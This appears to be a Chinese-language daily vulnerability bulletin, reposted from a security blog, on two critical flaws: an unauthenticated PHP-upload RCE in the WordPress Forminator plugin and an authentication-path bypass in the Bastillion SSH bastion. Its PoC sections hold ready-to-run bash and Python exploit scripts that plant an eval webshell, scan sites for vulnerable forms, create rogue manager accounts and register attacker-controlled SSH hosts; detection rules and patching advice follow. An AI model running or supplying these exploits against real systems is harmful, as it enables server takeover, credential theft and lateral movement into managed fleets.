文章总结: WordPressForminatorForms插件(≤1.56.1)存在严重漏洞CVE-2026-15748,CVSS评分9.8。攻击者无需认证即可通过构造特殊MIME类型和伪造字段值绕过黑名单上传PHP文件,实现远程代码执行。已有公开PoC,建议立即升级至1.56.2或更高版本。 综合评分: 88 文章分类: 漏洞分析,WEB安全,安全工具,应急响应,漏洞预警
每日漏洞推送 WordPress Forminator Forms 插件 未认证任意文件上传 → RCE
原创
nullchen nullchen
富贵学安全
2026年8月19日 16:05 陕西
在小说阅读器读本章
去阅读
📡 每日漏洞情报推送 | 2026-08-19
🔴 漏洞一:CVE-2026-15748 — WordPress Forminator Forms 插件 未认证任意文件上传 → RCE
📋 漏洞档案
| 项目 | 内容 |
| — | — |
| CVE编号 | CVE-2026-15748 |
| 影响产品 | WordPress Forminator Forms 插件 ≤ 1.56.1(修复版本 1.56.2,当前最新 1.57.1) |
| 漏洞类型 | 危险类型文件上传限制不严 (CWE-434) → 未认证远程代码执行 |
| CVSS | 9.8 (CRITICAL) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 触发位置 | handle_file_upload() + 公开提交处理器(admin-ajax.php / REST /forminator/v1/form/submit) |
| 发现者 | Wordfence(Jakub Herman 报告,多漏洞同日修复) |
| 公开时间 | 2026-08-18(NVD / Wordfence Threat Intel) |
| 在野利用 | ✅ 公开PoC已发布(github.com/yora1928/cve-2026-15748),未认证远程可利用 |
🔥 紧急程度
CVSS 9.8 CRITICAL,未认证、无需任何权限即可利用。 Forminator 是 WordPress 生态装机量最大的表单插件之一(活跃安装 50万+),大量企业官网、落地页、营销站点在使用。攻击者仅需向任意包含 Forminator 表单的页面发送特制上传请求,即可上传 可执行 PHP 文件 并直接获得网站服务器控制权(RCE),进而批量挂马、投毒供应链、拖库。Wordfence 已确认漏洞链完整且利用条件极低,强烈建议 48 小时内升级。
📝 漏洞描述
漏洞由两个缺陷组合而成,位于 library/fields/upload.php 的 handle_file_upload() 函数:
- 危险扩展名黑名单绕过:
handle_file_upload()中的危险扩展名拦截逻辑对 MIME type 键执行精确匹配(exact-key matching)。攻击者提交管道符分隔的备用 MIME 键(如image/png|application/x-httpd-php)即可绕过黑名单——因为黑名单按精确键匹配,application/x-httpd-php这个危险类型被隐藏在组合键的第二个位置,检查逻辑无法命中。 - 伪造 Select 字段值注入上传配置:Forminator 的公开提交处理器(
front-action.php)在处理提交时信任攻击者通过伪造 Select 字段值注入的上传字段配置(如允许的文件类型白名单),使攻击者可以声明”该上传字段允许任意类型”,配合绕过后的 MIME 类型直接落地可执行文件。
攻击链:未认证攻击者 → 构造恶意 multipart 请求(危险 MIME 组合键 + 伪造 select 配置值)→ 上传 PHP WebShell 至可访问目录 → 远程代码执行。
利用条件:无 — 无需登录、无需后台权限,仅需目标站点存在一个包含文件上传字段的 Forminator 表单(默认配置即可)。
💻 PoC/EXP
1️⃣ 核心利用请求(curl 手工验证)
#!/bin/bash
# CVE-2026-15748 Forminator 未认证任意文件上传 → RCE
# 用法: ./poc.sh https://target.com <form_id> <nonce>
# 注意: 仅用于授权安全测试
# 来源: 基于公开PoC (github.com/yora1928/cve-2026-15748) 与 Wordfence 分析重构
TARGET="${1:-http://localhost}"
FORM_ID="${2:-1}" # 目标页面 forminator-form-<ID>
NONCE="${3:-}" # 从表单 HTML 中提取 forminator_nonce
echo"[*] 目标: $TARGET 表单ID: $FORM_ID"
# 构造 WebShell (一句话木马)
cat > /tmp/shell.php <<'EOF'
<?php @eval($_POST['x']); ?>
EOF
# 关键点1: MIME 类型使用管道符备用键绕过危险扩展名黑名单
# image/png|application/x-httpd-php → 黑名单精确匹配无法命中
# 关键点2: select-1 伪造字段值,声明上传配置允许任意类型
curl-sk-m30"$TARGET/wp-admin/admin-ajax.php" \
-F"action=forminator_submit_form" \
-F"form_id=${FORM_ID}" \
-F"forminator_nonce=${NONCE}" \
-F"select-1=forged_value" \
-F"form_type=default" \
-F"render_id=0" \
-F"page_id=0" \
-F"current_url=${TARGET}/" \
-F"file-1=@/tmp/shell.php;type=image/png|application/x-httpd-php;filename=shell.php"
echo""
echo"[!] 响应中若包含上传文件 URL/路径 → 上传成功,访问该路径即得 WebShell"
echo"[!] 示例: curl -sk -d 'x=system(\"id\");' http://target/wp-content/uploads/XXXX/shell.php"
2️⃣ Python 自动化利用 PoC
#!/usr/bin/env python3
"""
CVE-2026-15748 — Forminator Forms 未认证 RCE 扫描/利用框架
来源: github.com/yora1928/cve-2026-15748 (MIT License, 教育/授权测试用途)
注意: 仅用于授权安全测试
"""
importrequests
importre
importsys
importurllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
UA= ("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
"(KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36")
defnormalize(url):
url=url.strip().rstrip("/")
returnurlifurl.startswith(("http://", "https://")) else"https://"+url
defextract_form(html):
"""从页面HTML提取 form_id 与 nonce(需含 file 上传字段的 Forminator 表单)"""
form_ids=re.findall(r'forminator-form-(\d+)', html)
ifnotform_ids:
returnNone
form_id=form_ids[0]
nonce=None
forpin (r'name="forminator_nonce" value="([^"]+)"',
r'data-nonce=["\']([^"\']+)["\']'):
m=re.search(p, html)
ifm:
nonce=m.group(1)
break
return {"form_id": form_id, "nonce": nonce} ifnonceelseNone
defupload_webshell(target, form, shell="shell.php"):
"""核心利用: 管道符MIME备用键 + 伪造Select值 绕过黑名单上传PHP"""
files= {
"file-1": (shell, '<?php @eval($_POST["x"]); ?>',
'image/png|application/x-httpd-php') # ← 绕过关键
}
data= {
"action": "forminator_submit_form",
"form_id": form["form_id"],
"forminator_nonce": form["nonce"],
"select-1": "forged_value", # ← 伪造上传配置
"form_type": "default",
"render_id": "0",
"page_id": "0",
"current_url": target+"/",
}
forepin (f"{target}/wp-admin/admin-ajax.php",
f"{target}/wp-json/forminator/v1/form/submit"):
try:
r=requests.post(ep, files=files, data=data, verify=False,
headers={"User-Agent": UA}, timeout=15)
print(f"[*] {ep} → HTTP {r.status_code} | {r.text[:120]}")
ifr.status_code==200and ("success"inr.text.lower()
or"file"inr.text.lower()):
print("[+] 上传成功!在响应中定位上传文件URL并访问")
returnTrue
exceptExceptionase:
print(f"[-] {ep} 错误: {e}")
returnFalse
if__name__=="__main__":
target=normalize(sys.argv[1] iflen(sys.argv) >1else"http://localhost")
print(f"[*] 目标: {target}")
# 1. 找到包含上传字段的表单页面
s=requests.Session()
s.headers.update({"User-Agent": UA})
found=False
forpathin ("/", "/contact", "/form", "/forms", "/upload"):
try:
r=s.get(target+path, verify=False, timeout=15)
ifr.status_code==200and"forminator"inr.text.lower():
form=extract_form(r.text)
ifform:
print(f"[+] 发现表单: {form} @ {target+path}")
# 2. 上传 WebShell
upload_webshell(target, form)
found=True
break
exceptException:
continue
ifnotfound:
print("[-] 未发现可利用的 Forminator 上传表单")
print("[*] 提示: 可爬取更多页面/检查 sitemap.xml 定位表单页面")
3️⃣ 利用链图示
攻击者(未认证) ──multipart POST──► /wp-admin/admin-ajax.php
│ action=forminator_submit_form
│ file-1: type="image/png|application/x-httpd-php" ← 管道符MIME键绕过黑名单
│ select-1: forged_value ← 伪造上传字段配置
▼
handle_file_upload() 黑名单精确匹配失效 (CWE-434)
▼
PHP WebShell 落地可访问目录
├── 网站完全控制 (RCE, C:H/I:H/A:H)
├── 服务器横向渗透 / 内网跳板
└── 批量挂马 / 供应链投毒 (表单插件受众广)
🛡️ 检测与防御
日志检测IOC
- admin-ajax.php 或 forminator REST 接口出现 MIME 含管道符(|)的上传请求:
filename 含 .php/.phtml/.php5 等可执行扩展名
- multipart 请求中 file 字段 Content-Type 出现 "image/png|application/..." 组合
- wp-content/uploads/ 目录出现非预期 PHP 文件(正常表单上传不应出现)
- 异常表单提交: select-1=forged_value 或非表单定义的字段值
WAF拦截规则(ModSecurity)
# 拦截管道符备用MIME键
SecRule FILES_NAMES|REQUEST_HEADERS:Content-Type \
"(?:image|text|application)/[a-z0-9.+-]+\|(?:application|text)/" \
"id:1000011,phase:2,deny,status:403,\
msg:'Forminator MIME pipe-key upload bypass (CVE-2026-15748)'"
# 拦截上传文件名中的可执行扩展名
SecRule FILES "\.(?:php|phtml|php\d|phar|jsp|asp|aspx|sh)$" \
"id:1000012,phase:2,deny,status:403,\
msg:'Executable file upload attempt (CVE-2026-15748)'"
修复建议
| 方式 | 说明 | | — | — | | 立即升级 | Forminator ≥ 1.56.2(当前最新 1.57.1;1.57.0.x 系列同日修复了 XSS/对象注入/越权等多个漏洞,一并更新) | | WAF | 拦截管道符 MIME 组合键与可执行文件上传(规则见上) | | 目录防护 | 确保 wp-content/uploads/ 禁止 PHP 执行(.htaccess/Nginx location 配置) | | 日志排查 | 检查 uploads 目录近期新增 PHP 文件与 admin-ajax 异常上传记录 | | 资产盘点 | 排查所有使用 Forminator 的站点(含子站/Multisite) |
🔗 参考来源
- NVD CVE-2026-15748
- Wordfence Threat Intel
- 公开PoC (github.com/yora1928/cve-2026-15748)
- Forminator Changelog (1.56.2 修复)
- 源码定位: front-action.php
🔴 漏洞二:CVE-2026-75627 — Bastillion 未认证管理后台绕过(路径前缀路由失配)→ 托管SSH舰队接管
📋 漏洞档案
| 项目 | 内容 |
| — | — |
| CVE编号 | CVE-2026-75627 |
| 影响产品 | Bastillion Web 堡垒机(修复提交 d759fb6 之前所有版本,报告者验证 v4.0.2-SNAPSHOT;含 5.1.x 及更早) |
| 漏洞类型 | 认证绕过 – 使用备选路径 (CWE-288) → 未认证管理接口访问 |
| CVSS | 9.8 (CRITICAL) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H(CVSS 4.0: 9.3) |
| 触发位置 | BaseKontroller.java:121 路由分发(*.ktrl servlet)vs AuthFilter(web.xml 仅映射 /manage/*、/admin/*) |
| 发现者 | 安全研究员(2026-06-21 邮件报告) |
| 公开时间 | 2026-08-18(NVD / VulnCheck 公告 / GitHub Issue #669) |
| 修复版本 | v5.2.0(2026-08-18 发布,含 07-20 修复提交 d759fb6) |
| 在野利用 | ⚠️ 完整利用链已在官方Issue公开,无公开自动化EXP仓库,但手工利用极其简单 |
🔥 紧急程度
CVSS 9.8 CRITICAL,完全未认证。 Bastillion 是企业级 Web SSH 堡垒机,专门托管管理员对服务器集群的 SSH 访问凭据与密钥。本漏洞让任意远程攻击者无需任何凭据即可:读取全部用户列表、创建 manager 级管理账号、注册攻击者控制的受管系统——意味着攻击者可以以堡垒机为跳板控制整个被托管 SSH 舰队(读密钥、劫持会话、横向渗透)。堡垒机通常暴露在管理网段或公网(默认 8443 端口),一旦被攻破等于内网核心失守。
📝 漏洞描述
Bastillion 的认证过滤器 AuthFilter 在 WEB-INF/web.xml 中仅映射到 /manage/* 和 /admin/* 两个 URL 前缀。但其 lmvc 控制器的分发器(BaseKontroller.java:121)对请求 URI 做的是子串包含匹配而非精确路径匹配:
// BaseKontroller.java line 121
if (request.getRequestURI().contains(c.path() +".ktrl") && ...)
.ktrl 分发 servlet 映射为 *.ktrl(通配后缀),因此攻击者在请求 URI 前任意添加路径前缀段(如 /anything/manage/viewUsers.ktrl)即可构造出:
- 分发器仍能路由到特权控制器(URI 包含
/manage/viewUsers.ktrl子串)✅ - 但 URI 不再以
/manage/开头,AuthFilter不匹配、不执行认证 ❌
其余全局过滤器不强制认证:SecurityFilter 只设置安全响应头;CSRFFilter 对全新会话(null token)直接放行。
利用条件:无 — 无需认证、无需 CSRF token,仅需网络可达 Bastillion 的 8443/80 端口。
💻 PoC/EXP
1️⃣ 官方Issue原始PoC(curl,报告者实测验证)
#!/bin/bash
# CVE-2026-75627 Bastillion 未认证管理后台绕过 PoC
# 来源: github.com/bastillion-io/Bastillion/issues/669(报告者实测 v4.0.2-SNAPSHOT)
# 注意: 仅用于授权安全测试
TARGET="https://localhost:8443" # 替换为实际目标
echo"=== [1] 基线验证:正常请求被拦截(302 跳转登录) ==="
curl-sk-i"$TARGET/manage/viewUsers.ktrl" | head -5
echo""
echo"=== [2] 绕过认证:未认证读取管理员用户列表 ==="
curl-sk"$TARGET/anything/manage/viewUsers.ktrl"
# → HTTP 200, 页面 "Bastillion - Manage Users" 列出 admin 账号
echo""
echo"=== [3] 未认证创建持久化 manager 账号 ==="
curl-sk-X POST "$TARGET/x/manage/saveUser.ktrl" \
--data-urlencode"user.username=pwned" \
--data-urlencode"user.userType=M" \
--data-urlencode"user.password=Sup3rSecret!1" \
--data-urlencode"user.passwordConfirm=Sup3rSecret!1" \
--data-urlencode"[email protected]" \
--data-urlencode"user.firstNm=Ev" \
--data-urlencode"user.lastNm=Il"
# 新 manager 账号出现在 /anything/manage/viewUsers.ktrl 且可正常登录
echo""
echo"=== [4] 未认证注册攻击者控制的受管系统(SSH跳板) ==="
curl-sk-X POST "$TARGET/y/manage/saveSystem.ktrl" \
--data-urlencode"hostSystem.displayNm=PwnTarget" \
--data-urlencode"hostSystem.user=root" \
--data-urlencode"hostSystem.host=10.0.0.99" \
--data-urlencode"hostSystem.port=22"
2️⃣ Python 自动化利用框架
#!/usr/bin/env python3
"""
CVE-2026-75627 Bastillion 未认证管理后台绕过利用
来源: github.com/bastillion-io/Bastillion/issues/669(官方Issue披露)
注意: 仅用于授权安全测试
"""
importrequests
importurllib3
importsys
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
classBastillionBypass:
def__init__(self, target):
self.base=target.rstrip("/")
self.s=requests.Session()
self.s.verify=False
defcheck_bypass(self):
"""验证绕过:正常请求应302,加前缀应200"""
normal=self.s.get(f"{self.base}/manage/viewUsers.ktrl",
allow_redirects=False, timeout=10)
bypass=self.s.get(f"{self.base}/anything/manage/viewUsers.ktrl",
timeout=10)
print(f"[*] 正常请求 → HTTP {normal.status_code} (预期302)")
print(f"[*] 前缀绕过 → HTTP {bypass.status_code} (预期200)")
ifbypass.status_code==200and"Manage Users"inbypass.text:
print("[!] ✅ 认证绕过确认 (CVE-2026-75627)")
returnTrue
print("[-] 目标可能已修复")
returnFalse
defcreate_manager(self, username="pwned", password="Sup3rSecret!1"):
"""未认证创建 manager 账号"""
r=self.s.post(f"{self.base}/x/manage/saveUser.ktrl", data={
"user.username": username,
"user.userType": "M",
"user.password": password,
"user.passwordConfirm": password,
"user.email": "[email protected]",
"user.firstNm": "Ev",
"user.lastNm": "Il",
}, timeout=10)
print(f"[*] 创建账号 → HTTP {r.status_code}")
returnr.status_code==200
defregister_system(self, host="10.0.0.99", port="22", user="root"):
"""未认证注册受管系统(SSH跳板目标)"""
r=self.s.post(f"{self.base}/y/manage/saveSystem.ktrl", data={
"hostSystem.displayNm": "PwnTarget",
"hostSystem.user": user,
"hostSystem.host": host,
"hostSystem.port": port,
}, timeout=10)
print(f"[*] 注册系统 {host}:{port} → HTTP {r.status_code}")
returnr.status_code==200
if__name__=="__main__":
target=sys.argv[1] iflen(sys.argv) >1else"https://localhost:8443"
exp=BastillionBypass(target)
print(f"[*] 目标: {target}")
ifexp.check_bypass():
print("\n[+] 进一步利用:")
exp.create_manager()
exp.register_system()
print("[!] 攻击者已获得堡垒机 MANAGER 权限:")
print(" 可读取/下发 SSH 密钥、劫持托管会话、控制整个托管舰队")
3️⃣ 利用链图示
攻击者(未认证) ──GET /anything/manage/viewUsers.ktrl──► Bastillion
│ URI 含 "/manage/viewUsers.ktrl" 子串 → lmvc 分发器命中特权控制器
│ URI 不以 /manage/ 开头 → AuthFilter 不匹配 → 认证被跳过 (CWE-288)
▼
未认证访问全部管理接口
├── viewUsers.ktrl → 泄漏全部用户/账号
├── saveUser.ktrl → 创建 MANAGER 账号(持久化后门)
├── saveSystem.ktrl → 注册攻击者受管系统
└── SSH 密钥/会话管理 → 劫持堡垒机托管舰队
🛡️ 检测与防御
日志检测IOC
- 请求 URI 中出现管理路径但带有异常前缀段:
/{任意}/manage/*.ktrl、/{任意}/admin/*.ktrl
- 未认证会话(无登录 cookie)访问 *.ktrl 管理接口并返回 200
- saveUser.ktrl 出现 userType=M 的匿名创建请求
- saveSystem.ktrl 出现非内网/未知 IP 的受管系统注册
- 异常时间段的 viewUsers.ktrl 访问
修复建议
| 方式 | 说明 |
| — | — |
| 立即升级 | Bastillion ≥ v5.2.0(2026-08-18 发布,含 07-20 修复提交 d759fb6;同时加固了 WS 终端认证与登录限速) |
| 临时缓解 | 在反向代理(Nginx/HAProxy)层拒绝 URI 含多余路径前缀的 *.ktrl 请求;管理端口限制来源 IP |
| 网络隔离 | Bastillion 不应暴露公网;管理接口仅限运维网段访问 |
| 审计排查 | 检查是否已存在未知 manager 账号(viewUsers 列表)与异常受管系统注册 |
| 密钥轮换 | 若怀疑被入侵,立即轮换堡垒机托管的全部 SSH 密钥与凭据 |
🔗 参考来源
- NVD CVE-2026-75627
- GitHub Issue #669(完整PoC)
- 修复提交 d759fb6
- VulnCheck 公告
- Bastillion 官方仓库
📊 今日其他漏洞速览
| CVE编号 | 产品 | 类型 | CVSS | 严重程度 | | — | — | — | — | — | | CVE-2026-75626 | SpiderFoot ≤ 5.x | 存储型XSS(关联标题) | 9.3 | 🔴 CRITICAL | | CVE-2026-75827 | Grav < 2.0.15 | 任意文件写入 | 8.8 | 🔴 HIGH | | CVE-2026-75828 | Grav < 2.0.15 | 存储型XSS (detectXss) | 8.7 | 🔴 HIGH | | CVE-2026-74902 | SiYuan < v3.7.4 | 文件上传校验XSS | 8.6 | 🔴 HIGH | | CVE-2026-15371 | Velociraptor Web GUI | URL类型列注入 | 8.1 | 🔴 HIGH | | CVE-2026-34884 | Apache SkyWalking | SSRF + GraphQL注入 | — | 🟠 待评估 | | CVE-2026-33824 | Microsoft IKE 扩展 | Double Free RCE(KEV已收录) | — | 🔴 在野利用 | | CVE-2026-59310 | VMware vCenter | 路径遍历RCE(KEV已收录) | — | 🔴 在野利用 | | CVE-2026-55040 | Microsoft SharePoint | 弱认证绕过(KEV已收录) | — | 🔴 在野利用 | | CVE-2026-65400 | Apple macOS | Screen Sharing 认证绕过(KEV已收录) | — | 🔴 在野利用 | | CVE-2026-11801 | WPAdverts 插件 | 授权绕过 | 7.5 | 🟠 HIGH | | CVE-2026-74906 | SiYuan < v3.7.4 | 发布模式授权缺陷 | 7.5 | 🟠 HIGH |
🛡️ 优先行动建议
优先等级 行动 说明
─────────────────────────────────────────────────────
🔴 最高 Forminator 升级 ≥1.56.2 未认证RCE,PoC公开,48h内处置
🔴 最高 Bastillion 升级 ≥5.2.0 未认证管理后台绕过,堡垒机=核心资产
🔴 紧急 KEV新收录4项处置 IKE/SharePoint/vCenter/macOS 均为在野利用
🟠 紧急 Grav/SiYuan/SpiderFoot 排查 按在用资产清单核查版本并升级
🟡 关注 SkyWalking/Velociraptor 评估 确认暴露面与版本,跟进修复
⚠️ 警告:提供的PoC/EXP仅限授权安全测试使用,未经授权的利用行为可能违反《刑法》第285条及相关法律法规。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:富贵学安全 nullchen nullchen《每日漏洞推送 WordPress Forminator Forms 插件 未认证任意文件上传 → RCE》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论